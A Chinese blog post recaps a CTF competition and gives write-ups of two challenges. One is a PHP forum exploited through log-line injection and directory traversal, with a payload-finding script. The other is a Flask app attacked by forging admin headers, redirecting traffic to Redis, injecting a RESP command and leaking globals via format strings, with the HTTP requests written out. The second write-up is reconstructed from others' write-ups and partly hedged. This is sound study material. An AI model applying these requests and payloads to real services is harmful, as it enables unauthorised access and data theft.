3.15-3.16 比赛现场
我TM来辣!!
《油专牌面》
巨好喝,下午五点多:抹茶+麦当劳中薯,结果没过一会儿去吃自助了。。
这家自助的雪花牛肉无敌!
姬哥强者の步伐
凯旋
希望当事人已经拿下了。。
《柏林幼儿园》(雾)
赛后总结(未完待续) 这块内容等到有wp出来之后再补上。
16号上午ADWP爆0了,修也修不上,打也打不出来。。
下午渗透的时候,我这里又出问题了,蚁剑坏掉了,kali虚拟机连不上目标ip(后来我重置了一下虚拟机网络)
就可以了。
现在急需继续学Java,把Jackson链子看掉就去学内网渗透,动手实践还是太少了。。就上个寒假和姬哥打了几次春秋云镜,而且我还没复现完,这些作为接下来几周的任务吧。
AWDP ccfrum 由于已经没有原题的环境了,这里就复现一下思路 。
思路 关注到admin.php的部分源码,漏洞点在于这里的file_get_contents函数,因为过滤不严导致这里可以实现目录穿越而造成文件读取。
scandir()
函数Demo:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 <?php $dir = scandir ("." ); print_r ($dir );
接着我们看$banned_users的赋值:
如果$success为1,就会把$additional_info赋给它。
$additioinal_info变量是$parts数组的第五位。
上去看$parts数组:
$action_log被换行符拆成$log_lines数组。
漏洞点之一出现在此处,留个伏笔
数组中每一个元素作为$line被遍历,$line又被,
拆成$parts数组。
然后这个$action_log_path来源于日志文件。
这里把$log_line字符串写进日志文件中:
我们可以看到:这个函数对传入进来的$additional参数没做任何过滤,假设我们构造这样的$additional:(%2f是/的URL编码)
1 Hacked\nabc123,..%2F..%2F..%2F,record_banned,1,
还记得前面标注的漏洞点吗,因为这串字符串中包含了换行符,所以会被多拆分成一行$log_line:
1 abc123,..%2F..%2F..%2F,record_banned,1,
当这些参数被传进file_get_contents那一坨代码那里时:
路径等同于根目录了,然后scandir()遍历路径下的文件名字放入$files数组,$files被遍历,一个个变量拉出来给$file,其中就含有我们的flag文件,它被file_get_contents()包含出来,暴露在web页面中了。
现在我们看看触发log_action()的record_banned():
我们要想给$log写入可控内容,必须通过if条件判断(created=false)。
那我们需要让mkdir函数失效,返回false给created:
mkdir()无法创建多级目录,即传入/
会让它返回false。我们可以利用 base64 后存在的 /
来构造出多级目录造成其创建失败。
偷了别人的脚本,原文:https://mp.weixin.qq.com/s?__biz=Mzg4MTg1MDY4MQ==&mid=2247487308&idx=1&sn=58ded47969223626e9937b5ccf93d3a8&chksm=cef98a3b1b7ee9a0deeb2746fb95e0bd6fb6e0d7adf55a9902ee121c3e7533efcde91d9498fc&mpshare=1&scene=23&srcid=0318w22pdH0PdB7Tj2Cbw5B0&sharer_shareinfo=a714674b8023b181d0876977bde50035&sharer_shareinfo_first=a714674b8023b181d0876977bde50035#rd
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php for ($i = 0 ; $i < 256 ; $i ++) { for ($j = 0 ; $j < 256 ; $j ++) { $prefix = chr ($i ) . chr ($j ); $str = 'a' . $prefix . "\n" . ',.../,record_banned,1,' ; $base64 = base64_encode ($str ); if (strpos ($base64 , '/' ) !== false ) { echourlencode ($str ) . "\n" ; echo $base64 . "\n" ; echostrlen ($str ) . "\n" ; exit ; } } }
Payload经过Base64编码之后字符串里面有/
的
跑出来后,用这个payload当做用户名进行注册,再利用违禁词触发record_banned()
即可打通,最后在回显日志内容的那个路由看到flag。
rng-assistant 已经没有原题环境了,看别人的wp纸上谈兵一下,就当提升下审计能力。
思路 app.py源码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 import socketimport redisimport jsonimport osfrom hashlib import md5, sha256from os.path import joinfrom flask import Flask, request, jsonify, sessionfrom flag import FLAGapp = Flask(__name__) app.secret_key = os.urandom(0x10 ) redis_conn = redis.Redis(host="localhost" , port=6379 , db=0 ) model_ports = {"math-v1" : 54321 , "default" : 50051 } users = {"test" : {"password" : "098f6bcd4621d373cade4e832627b4f6" }} class PromptTemplate : PROMPT_DIR = "static/prompts" def __init__ (self, question, user_level="primary" ): self.user_level = user_level self.question = question @staticmethod def get_template (template_id ): prompt_key = f"prompt:{template_id} " prompt = redis_conn.get(prompt_key) if not prompt: template_path = join(PromptTemplate.PROMPT_DIR, f"{template_id} .txt" ) with open (template_path, "rb" ) as file: prompt = file.read() redis_conn.set (prompt_key, prompt) prompt = prompt.decode(errors="ignore" ) return prompt def get_prompt (self, template_id ): return PromptTemplate.get_template(template_id).format (t=self) def get_model_port (model_id ): return model_ports.get(model_id, model_ports["default" ]) def generate_prompt (user_question, prompt_id="math-v1" ): return PromptTemplate(user_question).get_prompt(prompt_id) def query_model (prompt, model_id="default" ): cache_key = f"{md5(prompt.encode()).hexdigest()} :{model_id} " cached = redis_conn.get(cache_key) if cached: return cached.decode() try : with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: s.connect(("127.0.0.1" , get_model_port(model_id))) s.sendall(prompt.encode("utf-8" )) response = s.recv(4096 ).decode("utf-8" ) redis_conn.setex(cache_key, 3600 , response) return response except Exception as e: return f"Model service error: {str (e)} " def generate_salt (): return os.urandom(0x10 ) def hash_password (password, salt ): return sha256(salt + password.encode()).hexdigest() def whoami (username ): role = request.headers.get("X-User-Role" ) if username is None : r = role else : r = username + ":" + role return r @app.route("/" ) def index (): return f"Welcome to the RNG Assistant, {whoami(session['user' ])} !" @app.route("/register" , methods=["POST" ] ) def register (): data = request.json username = data.get("username" ) password = data.get("password" ) if not username or not password: return jsonify({"error" : "Missing username or password" }), 400 if username in users: return jsonify({"error" : "Username already exists" }), 400 salt = generate_salt() hashed_password = hash_password(password, salt) users[username] = {"password" : hashed_password, "salt" : salt} return jsonify({"message" : "Registration successful" }) @app.route("/login" , methods=["POST" ] ) def login (): data = request.json username = data.get("username" ) password = data.get("password" ) user = users.get(username) if not user or user["password" ] != hash_password(password, user["salt" ]): return jsonify({"error" : "Invalid credentials" }), 401 session["user" ] = username return jsonify({"message" : f"Login successful" , "user" : whoami(session['user' ])}) @app.route("/ask" , methods=["POST" ] ) def ask_question (): if "user" not in session: return jsonify({"error" : "Login required" }), 401 data = request.json question = data.get("question" ) model_id = data.get("model_id" , "default" ) final_prompt = generate_prompt(question) response = query_model(final_prompt, model_id) res = {"answer" : response, "prompt" : final_prompt, "model_id" : model_id, "user" : whoami(session['user' ])} return jsonify(res) @app.route("/admin/raw_ask" , methods=["POST" , "PUT" , "DELETE" ] ) def manage_ask (): if ( "user" not in session or request.headers.get("X-User-Role" ) != "admin" or request.headers.get("X-Secret" ) != "210317a2ee916063014c57d879b9d3bc" ): return jsonify({"error" : "Access denied" }), 403 data = request.json model_id = data.get("model_id" , "default" ) custom_prompt = data.get("prompt" ) final_prompt = custom_prompt response = query_model(final_prompt, model_id) return jsonify({"answer" : response, "user" : whoami(session['user' ])}) @app.route("/admin/model_ports" , methods=["POST" , "PUT" , "DELETE" ] ) def manage_model_ports (): if ( "user" not in session or request.headers.get("X-User-Role" ) != "admin" or request.headers.get("X-Secret" ) != "210317a2ee916063014c57d879b9d3bc" ): return jsonify({"error" : "Access denied" }), 403 data = request.json model_id = data.get("model_id" ) port = data.get("port" ) if request.method in ["POST" , "PUT" ]: if not model_id or not port: return jsonify({"error" : "Missing parameters" }), 400 model_ports[model_id] = port return jsonify({"message" : "Update successful" , "user" : whoami(session['user' ])}) elif request.method == "DELETE" : if not model_id: return jsonify({"error" : "Missing model_id" }), 400 if model_id in model_ports: del model_ports[model_id] return jsonify({"message" : "Delete successful" , "user" : whoami(session['user' ])}) if __name__ == "__main__" : app.run(port=8000 )
部署了Redis服务:
看到一个文件读取处,并可以返回内容:
这个路由很好进,伪造一下X-头即可,port变量可控。
model_ports字典被赋值为port,我们看看model_ports字典:
这个default字段是我们可以覆盖的。
把它覆盖成6379(redis)
1. 注册和登录 首先,通过 /register
和 /login
路由注册并登录了一个用户:
1 POST /register HTTP/1.1Content-Length: 111Content-Type: application/jsonConnection: close{"username":"123", "password":"123"}
1 POST /login HTTP/1.1Content-Length: 111Content-Type: application/jsonConnection: close{"username":"123", "password":"123"}
注册用户后,用户信息会被存储在 users
字典中。
登录成功后,Flask 会生成一个会话(session
),并将用户信息存储在会话中。
2. 暴露 Redis 端口 接下来,通过 /admin/model_ports
路由修改了模型服务的端口,将 Redis 端口(6379)暴露出来:
1 POST /admin/model_ports HTTP/1.1Content-Length: 38Content-Type: application/jsonCookie: session=eyJ1c2VyIjoiMTIzIn0.Z9huKw.gUR8v6HfMt2vbYvwrad6T3BDqyMx-secret: 210317a2ee916063014c57d879b9d3bcx-user-role: adminConnection: close{ "model_id":"default", "port":6379 }
这个操作将 model_ports
字典中的 default
模型的端口修改为 6379(Redis 的默认端口)。
这意味着后续通过 query_model
函数发送的请求会被重定向到 Redis 服务。
3. 写入模板 然后,通过 /ask
路由向 Redis 中写入数据:
1 POST /ask HTTP/1.1Content-Length: 44Content-Type: application/jsonCookie: session=eyJ1c2VyIjoiMTIzIn0.Z9huKw.gUR8v6HfMt2vbYvwrad6T3BDqyMx-secret: 210317a2ee916063014c57d879b9d3bcx-user-role: adminConnection: close{"question":"hello", "model_id":"math-v1"}
这个请求会调用 query_model
函数,但由于 model_ports
中的 default
模型端口被修改为 6379,请求会被发送到 Redis 服务。
Redis 会将 prompt:math-v1
键的值设置为 hello
。
4. 修改 Redis 中的键值 接下来,通过 /admin/raw_ask
路由修改 Redis 中的键值:
1 POST /admin/raw_ask HTTP/1.1Content-Length: 117Content-Type: application/jsonCookie: session=eyJ1c2VyIjoiMTIzIn0.Z9huKw.gUR8v6HfMt2vbYvwrad6T3BDqyMx-secret: 210317a2ee916063014c57d879b9d3bcx-user-role: adminConnection: close{"prompt":"*3\r\n$3\r\nSET\r\n$14\r\nprompt:math-v1\r\n$24\r\n{t.__init__.__globals__}\r\n;", "model_id":"default"}
5. 通过模板匹配泄露全局变量 最后,再次通过 /ask
路由访问 Redis 中的键值,试图通过模板渲染泄露全局变量:
1 POST /ask HTTP/1.1Content-Length: 44Content-Type: application/jsonCookie: session=eyJ1c2VyIjoiMTIzIn0.Z9huKw.gUR8v6HfMt2vbYvwrad6T3BDqyMx-secret: 210317a2ee916063014c57d879b9d3bcx-user-role: adminConnection: close{"question":"hello", "model_id":"math-v1"}
这个请求会调用 generate_prompt
函数,从 Redis 中读取 prompt:math-v1
键的值。
由于 prompt:math-v1
的值被设置为 {t.__init__.__globals__}
,模板渲染时会尝试解析 {t.__init__.__globals__}
。
如果模板引擎支持魔术方法(如 __globals__
),则可能会泄露全局变量。
渗透 最后10分钟的时候,姬哥打XSS让平台admin把cookie转发出来打通了。真的牛逼。
第一次知道这种内网环境下,反弹shell、转发cookie的操作是可以直接在主机上面执行的(使用nc监听端口即可),无需一台具有公网ip的服务器。